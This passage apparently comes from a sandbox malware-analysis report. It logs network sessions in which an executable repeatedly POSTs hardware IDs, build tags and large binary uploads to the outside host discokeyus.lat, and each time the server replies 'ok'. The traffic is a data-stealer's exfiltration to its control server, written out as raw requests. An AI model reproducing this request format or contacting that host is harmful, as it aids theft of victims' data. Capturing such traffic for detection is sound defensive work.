2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 35 6c 4e 34 6d 39 32 43 31 6b 66 78 78 53 70 4d 37 6e 59 6b 33 6f 78 44 38 55 43 59 6d 70 55 43 36 48 75 72 75 69 74 39 5a 56 62 79 48 33 4b 51 6d 74 57 54 42 4c 69 47 4c 46 36 6e 49 6d 76 34 68 56 72 33 48 4e 44 62 69 30 66 38 4e 36 79 37 5a 69 38 6b 58 2f 55 57 64 5a 71 65 31 5a 56 57 39 38 41 35 52 75 70 77 4f 64 4f 44 56 50 5a 4b 68 35 69 53 44 2b 35 37 75 62 34 6d 64 47 38 66 73 56 4e 34 6a 39 32 43 31 6d 66 68 30 43 46 42 36 32 77 67 32 49 74 48 39 6c 66 4b 31 64 51 59 34 6d 62 72 37 7a 42 6e 63 31 6a 67 58 57 62 58 6d 74 62 57 48 4c 62 41 49 6b 44 67 66 43 58 4c 6a 56 66 30 53 49 4f 53 6b 41 48 6d 64 36 2b 7a 49 58 4a 6e 55 2f 51 55 66 4a 69 5a 30 35 68 4e 2b 59 5a 6c 42 75 42 69 61 34 48 49 63 4f 42 45 68 70 62 55 46 71 74 75 36 37 41 71 4e 7a 77 Data Ascii: 5lN4m92C1kfxxSpM7nYk3oxD8UCYmpUC6Huruit9ZVbyH3KQmtWTBLiGLF6nImv4hVr3HNDbi0f8N6y7Zi8kX/UWdZqe1ZVW98A5RupwOdODVPZKh5iSD+57ub4mdG8fsVN4j92C1mfh0CFB62wg2ItH9lfK1dQY4mbr7zBnc1jgXWbXmtbWHLbAIkDgfCXLjVf0SIOSkAHmd6+zIXJnU/QUfJiZ05hN+YZlBuBia4HIcOBEhpbUFqtu67AqNzw
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 37 65 57 7a 4a 4e 44 34 49 51 65 52 65 6c 30 4c 4d 2f 49 54 73 51 4a 79 70 53 4f 53 62 31 4f 73 76 63 68 65 79 51 48 76 77 5a 34 6c 35 72 41 67 45 50 36 31 79 42 4c 36 31 67 6b 33 70 35 53 39 45 53 62 6b 74 67 43 36 44 66 6c 39 79 46 76 4a 41 65 2f 50 48 69 42 6e 76 57 56 56 66 2b 47 5a 51 62 67 62 47 75 42 79 47 2b 37 56 59 6d 4c 6c 77 62 30 53 65 76 76 50 30 6b 6b 56 4f 6b 55 62 35 53 4c 30 5a 74 49 35 2f 68 72 48 72 4d 6f 65 59 76 61 41 2b 51 48 6c 61 54 61 53 65 51 33 38 34 34 2f 4e 33 49 66 70 30 45 78 31 34 2b 61 7a 67 53 78 78 54 6c 55 34 58 6b 39 32 73 39 76 78 57 43 63 6b 5a 4d 5a 34 6d 43 6b 39 32 67 33 61 78 2b 6e 4b 6a 2b 65 6d 73 47 48 55 76 76 57 4c 41 62 59 4e 47 76 42 79 41 6d 37 63 6f 6d 56 6d 67 37 7a 5a 75 61 51 4d 48 31 6a 54 2f 67 45 Data Ascii: 7eWzJND4IQeRel0LM/ITsQJypSOSb1OsvcheyQHvwZ4l5rAgEP61yBL61gk3p5S9ESbktgC6Dfl9yFvJAe/PHiBnvWVVf+GZQbgbGuByG+7VYmLlwb0SevvP0kkVOkUb5SL0ZtI5/hrHrMoeYvaA+QHlaTaSeQ3844/N3Ifp0Ex14+azgSxxTlU4Xk92s9vxWCckZMZ4mCk92g3ax+nKj+emsGHUvvWLAbYNGvByAm7comVmg7zZuaQMH1jT/gE
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 61 59 54 2f 62 42 4f 31 44 38 4e 69 50 61 6b 6b 76 46 65 61 47 58 6b 67 37 2f 63 4b 32 52 42 6a 63 71 48 2f 42 54 4a 36 37 64 6b 74 5a 37 75 49 59 7a 42 72 38 36 48 74 71 47 58 2f 78 52 6d 39 61 38 4b 74 39 4e 36 5a 73 68 59 69 5a 72 2b 41 4e 75 6e 4a 44 57 31 67 71 32 77 47 73 65 74 7a 52 72 33 5a 6b 52 6f 78 66 59 77 4d 46 61 73 69 66 35 71 47 68 75 4a 45 6d 2f 53 79 33 5a 33 63 6a 57 48 4c 61 42 4b 46 54 31 66 43 6a 50 69 78 62 46 65 61 32 56 6b 77 6a 7a 5a 37 79 34 47 45 6c 78 58 50 45 64 65 49 47 4d 6d 74 67 45 2b 59 5a 7a 66 36 63 79 61 2b 62 47 45 65 4d 48 30 74 75 68 43 75 74 35 72 4b 45 33 4f 6b 4e 52 2b 42 4a 70 68 34 72 56 31 67 71 32 77 47 73 65 74 54 52 72 33 5a 6b 52 6f 78 66 59 77 4d 46 61 73 69 66 35 71 47 68 75 4a 45 6d 2f 53 79 33 5a 33 Data Ascii: aYT/bBO1D8NiPakkvFeaGXkg7/cK2RBjcqH/BTJ67dktZ7uIYzBr86HtqGX/xRm9a8Kt9N6ZshYiZr+ANunJDW1gq2wGsetzRr3ZkRoxfYwMFasif5qGhuJEm/Sy3Z3cjWHLaBKFT1fCjPixbFea2VkwjzZ7y4GElxXPEdeIGMmtgE+YZzf6cya+bGEeMH0tuhCut5rKE3OkNR+BJph4rV1gq2wGsetTRr3ZkRoxfYwMFasif5qGhuJEm/Sy3Z3
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 57 77 54 31 46 70 7a 52 72 31 63 67 4a 75 30 61 41 69 35 6b 47 34 6a 75 73 72 53 45 33 4b 68 2f 78 55 79 66 58 6e 4e 43 47 53 66 6e 42 5a 30 44 70 64 47 76 47 78 6b 69 37 55 63 72 44 78 30 65 6c 5a 65 76 76 5a 6a 42 6e 54 65 30 56 66 49 47 65 6e 61 68 36 32 39 51 73 56 75 51 34 47 74 53 4d 52 2b 35 45 6d 70 79 71 4e 38 68 6c 72 4b 63 6c 4e 56 56 4a 2f 42 4e 78 6b 4e 32 55 31 6c 79 32 6e 6d 74 72 39 58 30 37 32 73 67 66 75 30 76 4b 77 39 51 45 39 33 43 37 74 47 70 77 66 6c 69 2f 44 44 47 4f 33 63 7a 57 48 4b 57 49 61 31 53 6e 49 6d 75 65 68 6c 7a 36 52 49 53 59 68 68 76 6a 64 4c 32 30 59 55 6c 61 63 75 30 55 62 35 54 66 36 35 74 41 34 4e 4d 6f 56 75 42 45 46 66 53 61 56 75 74 45 79 4c 65 54 42 4f 6c 4a 6c 59 41 33 63 48 51 64 32 52 42 70 6c 4e 32 55 31 6c Data Ascii: WwT1FpzRr1cgJu0aAi5kG4jusrSE3Kh/xUyfXnNCGSfnBZ0DpdGvGxki7UcrDx0elZevvZjBnTe0VfIGenah629QsVuQ4GtSMR+5EmpyqN8hlrKclNVVJ/BNxkN2U1ly2nmtr9X072sgfu0vKw9QE93C7tGpwfli/DDGO3czWHKWIa1SnImuehlz6RISYhhvjdL20YUlacu0Ub5Tf65tA4NMoVuBEFfSaVutEyLeTBOlJlYA3cHQd2RBplN2U1l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:19 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H6QX7PUUDEF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12808 Host: discokeyus.lat
2024-12-20 15:05:19 UTC	12808	OUT	Data Raw: 2d 2d 48 36 51 58 37 50 55 55 44 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 43 44 31 45 36 37 41 41 35 43 32 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 36 51 58 37 50 55 55 44 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 36 51 58 37 50 55 55 44 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 36 51 58 37 50 55 55 44 45 46 Data Ascii: --H6QX7PUUDEFContent-Disposition: form-data; name="hwid"27ECD1E67AA5C2B7AC8923850305D13E--H6QX7PUUDEFContent-Disposition: form-data; name="pid"2--H6QX7PUUDEFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--H6QX7PUUDEF
2024-12-20 15:05:20 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=db5e867d07qmhbmhioaforna4r; expires=Tue, 15 Apr 2025 08:51:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5DNIIrrl2pc6a9IEmK1oNE12dQmR3I2zlP28PPKSILITU0ARf9WGk4mUAHfKA8txAqFaUHJ2HmmmIKTaOfODexrbuittrgVP1JA3lgmdAhi%2FVv1yB9bMJlLZStDKvgLwLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5087a9f86a42dd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1580&rtt_var=623&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2833&recv_bytes=13739&delivery_rate=1713615&cwnd=186&unsent_bytes=0&cid=8742eec4ad80aa3f&ts=1028&x=0"
2024-12-20 15:05:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:05:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49715	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:21 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z1LXAZWP3QQV1B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15058 Host: discokeyus.lat
2024-12-20 15:05:21 UTC	15058	OUT	Data Raw: 2d 2d 5a 31 4c 58 41 5a 57 50 33 51 51 56 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 43 44 31 45 36 37 41 41 35 43 32 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 31 4c 58 41 5a 57 50 33 51 51 56 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 31 4c 58 41 5a 57 50 33 51 51 56 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 31 Data Ascii: --Z1LXAZWP3QQV1BContent-Disposition: form-data; name="hwid"27ECD1E67AA5C2B7AC8923850305D13E--Z1LXAZWP3QQV1BContent-Disposition: form-data; name="pid"2--Z1LXAZWP3QQV1BContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Z1
2024-12-20 15:05:22 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a89rne8ielf1736mji6to4juq1; expires=Tue, 15 Apr 2025 08:52:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Byy0Tdvkq%2Foo46Qhca6CxvfcvyoO%2ByCPeH7ZzF0WhAE7OxOPkMhdMBZh2Ena%2Fps2HNN3Ns%2FC%2BdML2%2FxlOSNU8F7nSpTXysdrAl5ZJcdnmNCv%2FtdDvzRPCQFUqliC9YAvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5087b90ee5ef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1927&min_rtt=1927&rtt_var=963&sent=13&recv=20&lost=0&retrans=1&sent_bytes=4202&recv_bytes=15992&delivery_rate=128730&cwnd=212&unsent_bytes=0&cid=a3d7b9353e3a3e31&ts=994&x=0"
2024-12-20 15:05:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:05:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49721	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:24 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IGQSUXV5FGK15AJK9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: discokeyus.lat
2024-12-20 15:05:24 UTC	15331	OUT	Data Raw: 2d 2d 49 47 51 53 55 58 56 35 46 47 4b 31 35 41 4a 4b 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 43 44 31 45 36 37 41 41 35 43 32 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 47 51 53 55 58 56 35 46 47 4b 31 35 41 4a 4b 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 47 51 53 55 58 56 35 46 47 4b 31 35 41 4a 4b 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --IGQSUXV5FGK15AJK9Content-Disposition: form-data; name="hwid"27ECD1E67AA5C2B7AC8923850305D13E--IGQSUXV5FGK15AJK9Content-Disposition: form-data; name="pid"3--IGQSUXV5FGK15AJK9Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-20 15:05:24 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/
2024-12-20 15:05:25 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d031r3vsq7u91vh8ld8qfdlqdf; expires=Tue, 15 Apr 2025 08:52:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NndXJpECjzXCFDE0Z2CaZ3Ec8Al6yBEcqd8TfoNv1d97HDu4U0UaRqRgt0OxySCTateMoL8wcnH%2FFQptXp%2BnalaLLLLaMAEO%2Bn6gu962%2FS35cqHGlFDgHrgGiRE4xACRow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5087c84fe9f5f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1465&min_rtt=1454&rtt_var=569&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21360&delivery_rate=1885087&cwnd=103&unsent_bytes=0&cid=07e92556e02bd738&ts=951&x=0"
2024-12-20 15:05:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:05:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49732	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:27 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LC4OQGYU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1186 Host: discokeyus.lat
2024-12-20 15:05:27 UTC	1186	OUT	Data Raw: 2d 2d 4c 43 34 4f 51 47 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 43 44 31 45 36 37 41 41 35 43 32 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 43 34 4f 51 47 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 43 34 4f 51 47 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 43 34 4f 51 47 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --LC4OQGYUContent-Disposition: form-data; name="hwid"27ECD1E67AA5C2B7AC8923850305D13E--LC4OQGYUContent-Disposition: form-data; name="pid"1--LC4OQGYUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--LC4OQGYUContent-Di
2024-12-20 15:05:27 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6d9gfatgdd5v1k5vqestnhg5oa; expires=Tue, 15 Apr 2025 08:52:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jl4YCEInadfM61KDd5FHQWOgxd2gLpANGQ%2F5EU1YLeiSW4%2F6qk3HjSBYQ%2BS%2BUHdhyQPmiZW6KhY%2FEG1y0ebYJgYkOSGTdkrHuJTjGDZP1%2BqRlGmu2QevQXQKmw7OmW0TQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5087d97a9b429a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1749&rtt_var=674&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2091&delivery_rate=1601755&cwnd=237&unsent_bytes=0&cid=d8fb5666d2d97ba0&ts=774&x=0"
2024-12-20 15:05:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:05:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49739	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:29 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IMMWOOAPXGI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585406 Host: discokeyus.lat
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 2d 2d 49 4d 4d 57 4f 4f 41 50 58 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 43 44 31 45 36 37 41 41 35 43 32 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 4d 4d 57 4f 4f 41 50 58 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 4d 4d 57 4f 4f 41 50 58 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 4d 4d 57 4f 4f 41 50 58 47 49 Data Ascii: --IMMWOOAPXGIContent-Disposition: form-data; name="hwid"27ECD1E67AA5C2B7AC8923850305D13E--IMMWOOAPXGIContent-Disposition: form-data; name="pid"1--IMMWOOAPXGIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IMMWOOAPXGI
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: b2 81 bb fb 8c aa f4 9e f9 10 fb a0 37 d8 f1 78 3e 18 38 22 01 11 3f be f9 49 ff bb 51 0b 0b 41 13 31 d1 bb 98 2e 3d 1e 7e 41 5d 36 26 e9 9a 71 52 20 d3 1b c4 7c b7 77 26 be eb 52 91 73 5c dc d3 17 74 c4 bb c1 d0 5d 70 ca 4e 70 fd 3a 12 33 cc dd 97 57 8f 76 c3 3b b7 21 ad cf 17 b7 36 31 fe 3a ee c6 8d b1 39 f4 1b 74 44 ca 55 73 48 be 59 6b ef 69 a9 fa 22 58 80 bb f2 22 d3 a4 26 f4 89 1a f9 31 b9 c1 73 c8 9f ae f8 8f 25 92 75 ea a1 54 e5 46 0d 2a ba 9c 28 21 a1 ee 93 8b 69 8b f6 99 d0 f0 e5 d4 57 a6 ff ea 72 ee 95 94 dd e2 2b 20 25 39 40 7f ab ce 92 5a 83 8e 28 64 10 a3 7d 5c 33 cf 5d 13 14 f0 90 20 ad dd 19 3a 19 26 c0 58 cc 31 18 0b f7 f2 bf b2 1e e0 71 dc af 8e 45 fb 57 2a bb aa ca 04 53 c8 26 66 f3 dd 92 5f 9e e8 51 42 83 63 68 ba 26 31 33 09 b2 3f 06 Data Ascii: 7x>8"?IQA1.=~A]6&qR \|w&Rs\t]pNp:3Wv;!61:9tDUsHYki"X"&1s%uTF(!iWr+ %9@Z(d}\3] :&X1qEWS&f_QBch&13?
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: ff 92 50 e1 5d 8e e6 dc fb b5 c7 4e b2 88 5c ea 6a 2b 3c 3b e0 37 ef c7 5e f9 b6 c3 65 cc 71 ba ff f5 cd f4 69 14 53 d2 de f7 fb 47 bb b2 9e 8f 0c c7 14 9f 9b 5b 25 73 93 79 27 c0 fa 68 ba c2 7f 03 2c e3 aa 48 85 88 d3 de 75 0d d5 29 2f 8f 12 e2 17 bc 9e 3c 52 02 2b e4 70 54 f3 68 6d 21 0e 25 fc ec 4e 21 44 09 71 47 43 e8 d0 5d e0 74 a6 7f ba 95 4c bd 57 c0 d6 8f 5d 06 ae b6 45 99 d6 57 b7 13 ad 18 68 93 03 45 4e b6 17 b6 a0 1d 82 53 e3 1d d4 90 80 4b ab 73 5a a8 30 34 16 03 01 ce eb 4b d4 6b 62 24 19 4a 97 90 fa 4c 93 0a f3 16 f8 7d 87 91 10 4a bb e3 9b 4d 93 44 a0 c5 d3 9f 06 54 83 bc b4 cc 9f cf c6 a7 8c fc 4e 0c 15 3f 9e 29 39 30 e8 f3 f1 d6 99 79 ec 89 64 bb 83 a4 ec 8b 2c 2b 6c df 4e 0f 8e d6 53 6c 40 bf 07 e9 5a e1 f6 c7 d8 97 96 fb 81 ef db cc e2 Data Ascii: P]N\j+<;7^eqiSG[%sy'h,Hu)/<R+pThm!%N!DqGC]tLW]EWhENSKsZ04Kkb$JL}JMDTN?)90yd,+lNSl@Z
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 03 14 be 9f bd 32 9d 8e 3f 16 d0 40 7b 72 3c b4 44 1a ce 46 d3 5f eb 9f 06 f1 52 45 61 92 ae 83 0a 54 f9 3b 78 ab 8c cc 88 e4 4d 7e ea 5c db e8 8c 53 07 dd 77 ff 3f 0e 0f 3e a0 86 fe b6 75 8b b7 b5 95 eb a1 39 3e 4b b4 0d 42 c4 56 1f 22 92 09 d4 48 2e 58 02 25 78 9c 33 5d f9 e7 92 2f a6 d8 8b 95 9f 31 e5 07 65 08 c4 03 7f 97 45 71 70 06 db d3 fd 3e a5 60 b1 90 7f 46 95 a3 5a b7 d7 2b 38 f3 eb 83 7a cc 7f ad f6 83 0f b7 10 40 99 0f f0 40 1f 25 80 54 74 c4 bb 16 54 29 1a d7 f5 b3 1b 03 1e bf f1 18 e2 fb 39 31 58 a3 07 d6 33 1f df b2 e7 a4 b3 51 4d 74 20 79 fe 4f 54 d1 39 43 57 5f 9b bf f4 e3 c6 55 82 db 9c a2 a7 58 8a 14 e1 73 b1 f6 0c 89 06 b5 3f fa c1 52 92 ba 0b 6a 3c 0f 92 be 86 3c 71 c3 26 d6 a5 e8 81 d9 1f 20 a6 44 48 93 4d da c3 68 d0 8d c4 71 3c 7d Data 